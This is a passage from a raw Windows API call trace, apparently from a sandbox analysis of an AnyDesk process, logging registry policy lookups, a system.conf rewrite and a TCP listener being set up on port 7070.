lpType=0x2e1f288*=0x0, lpData=0x0, lpcbData=0x2e1f28c*=0x0) returned 0x6 [0194.840] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2b4 | out: phkResult=0x2e1f2b4*=0x0) returned 0x2 [0194.840] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32978 | out: hHeap=0x3b0000) returned 1 [0194.840] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac18 [0194.840] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.841] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.841] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a98 [0194.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa98, cbMultiByte=-1, lpWideCharStr=0xe55a98, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.auth") returned 21 [0194.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.841] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550d8 [0194.841] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0194.842] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550c0 [0194.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe550c0, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0194.842] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0194.842] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550c0 [0194.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0xe550c0, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0194.842] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.844] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.844] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a98 | out: hHeap=0x3b0000) returned 1 [0194.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0194.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32978 [0194.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daab0, cbMultiByte=-1, lpWideCharStr=0xe32978, cchWideChar=26 | out: lpWideCharStr="ad.anynet.proxy.auto_auth") returned 26 [0194.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3b) returned 0xe10b40 [0194.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55a98 [0194.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0194.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b9e0 [0194.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe329b8 [0194.847] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.847] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55bb0 [0194.847] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.autoauth", lpReserved=0x0, lpType=0x2e1f278, lpData=0x0, lpcbData=0x2e1f27c*=0x0 | out: lpType=0x2e1f278*=0x0, lpData=0x0, lpcbData=0x2e1f27c*=0x0) returned 0x6 [0194.847] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2a4 | out: phkResult=0x2e1f2a4*=0x0) returned 0x2 [0194.848] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55bb0 | out: hHeap=0x3b0000) returned 1 [0194.848] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3b) returned 0xe10b40 [0194.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55bb0 [0194.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0194.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bac0 [0194.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe329f8 [0194.850] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.850] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.850] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55b40 [0194.850] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.autoauth", lpReserved=0x0, lpType=0x2e1f278, lpData=0x0, lpcbData=0x2e1f27c*=0x0 | out: lpType=0x2e1f278*=0x0, lpData=0x0, lpcbData=0x2e1f27c*=0x0) returned 0x6 [0194.850] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2a4 | out: phkResult=0x2e1f2a4*=0x0) returned 0x2 [0194.850] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0194.851] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.851] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550d8 [0194.851] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0194.851] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x24c [0194.852] LockFileEx (in: hFile=0x24c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2e1f428 | out: lpOverlapped=0x2e1f428) returned 1 [0194.852] SetFilePointerEx (in: hFile=0x24c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.852] SetEndOfFile (hFile=0x24c) returned 1 [0194.854] WriteFile (in: hFile=0x24c, lpBuffer=0xe4d888*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2e1f3e8, lpOverlapped=0x0 | out: lpBuffer=0xe4d888*, lpNumberOfBytesWritten=0x2e1f3e8*=0x1c7, lpOverlapped=0x0) returned 1 [0194.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d888 | out: hHeap=0x3b0000) returned 1 [0194.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11460 | out: hHeap=0x3b0000) returned 1 [0194.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55210 | out: hHeap=0x3b0000) returned 1 [0194.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10870 | out: hHeap=0x3b0000) returned 1 [0194.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55288 | out: hHeap=0x3b0000) returned 1 [0194.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55be8 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551e0 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551f8 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55228 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11f48 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552a0 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0194.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe05420 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55240 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12158 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32978 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55270 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0194.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.857] UnlockFileEx (in: hFile=0x24c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2e1f3c0 | out: lpOverlapped=0x2e1f3c0) returned 1 [0194.857] CloseHandle (hObject=0x24c) returned 1 [0194.864] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b9a0 [0194.865] GetCurrentThreadId () returned 0xa0c [0194.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.865] GetCurrentThreadId () returned 0xa0c [0194.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xac) returned 0xe17bd0 [0194.865] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe17bd0) returned 0x5d2978 [0194.867] GetLastError () returned 0x0 [0194.869] GetSystemTime (in: lpSystemTime=0x2e1f384 | out: lpSystemTime=0x2e1f384*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x5)) [0194.869] GetCurrentThreadId () returned 0xa0c [0194.869] GetCurrentProcessId () returned 0x994 [0194.869] GetLastError () returned 0x0 [0194.869] SwitchToFiber (lpFiber=0x5c4f98) [0194.869] SwitchToFiber (lpFiber=0x5caa28) [0194.869] GetTickCount () returned 0x1880d41 [0194.870] GetLastError () returned 0x0 [0194.870] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0194.871] GetCurrentThreadId () returned 0xa0c [0194.871] SetLastError (dwErrCode=0x0) [0194.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa0) returned 0xe00ae0 [0194.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55270 [0194.871] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x264 [0195.286] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bae0 [0195.286] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x268 [0195.286] GetCurrentThreadId () returned 0xa0c [0195.286] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32978 [0195.286] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0195.286] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0195.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0195.287] WSAEventSelect (s=0x264, hEventObject=0x268, lNetworkEvents=59) returned 0 [0195.287] WSAIoctl (in: s=0x264, dwIoControlCode=0x98000004, lpvInBuffer=0x2cbfc40, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2cbfc3c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2cbfc3c, lpOverlapped=0x0) returned 0 [0195.288] setsockopt (s=0x264, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0195.288] setsockopt (s=0x264, level=65535, optname=4, optval="", optlen=4) returned 0 [0195.288] WSAIoctl (in: s=0x264, dwIoControlCode=0x98000004, lpvInBuffer=0x2cbfc40, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2cbfc3c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2cbfc3c, lpOverlapped=0x0) returned 0 [0195.288] setsockopt (s=0x264, level=65535, optname=4097, optval="", optlen=4) returned 0 [0195.289] htons (hostshort=0x1b9e) returned 0x9e1b [0195.289] bind (s=0x264, addr=0x2cbfc2c*(sa_family=2, sin_port=0x1b9e, sin_addr="0.0.0.0"), namelen=16) returned 0 [0195.290] listen (s=0x264, backlog=10) returned 0 [0195.291] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bb00 [0195.291] GetLastError () returned 0x0 [0195.292] GetSystemTime (in: lpSystemTime=0x2cbfc10 | out: lpSystemTime=0x2cbfc10*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x43)) [0195.292] GetCurrentThreadId () returned 0xa0c [0195.292] GetCurrentProcessId () returned 0x994 [0195.292] GetLastError () returned 0x0 [0195.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x2cbfdf0, dwCreationFlags=0x4, lpThreadId=0x2cbfe04 | out: lpThreadId=0x2cbfe04*=0xb1c) returned 0x270 [0195.293] ResumeThread (hThread=0x270) returned 0x1 [0195.293] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0xffffffff) returned 0x0 [0195.294] CloseHandle (hObject=0x26c) returned 1 [0195.294] SwitchToFiber (lpFiber=0x5c4f98) [0195.294] SwitchToFiber (lpFiber=0x5cad28) [0195.294] GetTickCount () returned 0x1880d8f [0195.294] GetLastError () returned 0x0 [0195.295] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0195.295] GetCurrentThreadId () returned 0xa0c [0195.295] SetLastError (dwErrCode=0x0) [0195.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe4bb40 [0195.296] GetLastError () returned 0x0 [0195.296] GetSystemTime (in: lpSystemTime=0x2fbf944 | out: lpSystemTime=0x2fbf944*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x53)) [0195.296] GetCurrentThreadId () returned 0xa0c [0195.296] GetCurrentProcessId () returned 0x994 [0195.296] GetLastError () returned 0x0 [0195.296] SwitchToFiber (lpFiber=0x5c4f98) [0195.296] SwitchToFiber (lpFiber=0x5cd4a0) [0195.296] GetTickCount () returned 0x1880d8f [0195.296] GetLastError () returned 0x0 [0195.297] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0195.297] GetCurrentThreadId () returned 0xa0c [0195.297] SetLastError (dwErrCode=0x0) [0195.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe4ac18 [0195.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0195.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0195.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0195.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0195.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0195.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0195.298] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0195.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0195.298] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac28 [0195.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac28, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0195.298] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0195.298] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2b) returned 0xe55b40 [0195.298] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11460 [0195.298] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0195.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0195.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bb60 [0195.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe335e8 [0195.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0195.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0195.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11668 [0195.299] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.groupsync", lpReserved=0x0, lpType=0x340f888, lpData=0x0, lpcbData=0x340f88c*=0x0 | out: lpType=0x340f888*=0x0, lpData=0x0, lpcbData=0x340f88c*=0x0) returned 0x6 [0195.299] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x340f8b4 | out: phkResult=0x340f8b4*=0x0) returned 0x2 [0195.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11668 | out: hHeap=0x3b0000) returned 1 [0195.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0195.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0195.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac28 [0195.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac28, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0195.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0195.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2b) returned 0xe55b40 [0195.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11668 [0195.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0195.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0195.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bb80 [0195.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33618 [0195.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0195.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0195.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe582d8 [0195.300] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.groupsync", lpReserved=0x0, lpType=0x340f888, lpData=0x0, lpcbData=0x340f88c*=0x0 | out: lpType=0x340f888*=0x0, lpData=0x0, lpcbData=0x340f88c*=0x0) returned 0x6 [0195.301] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x340f8b4 | out: phkResult=0x340f8b4*=0x0) returned 0x2 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0195.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0195.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0195.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0195.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 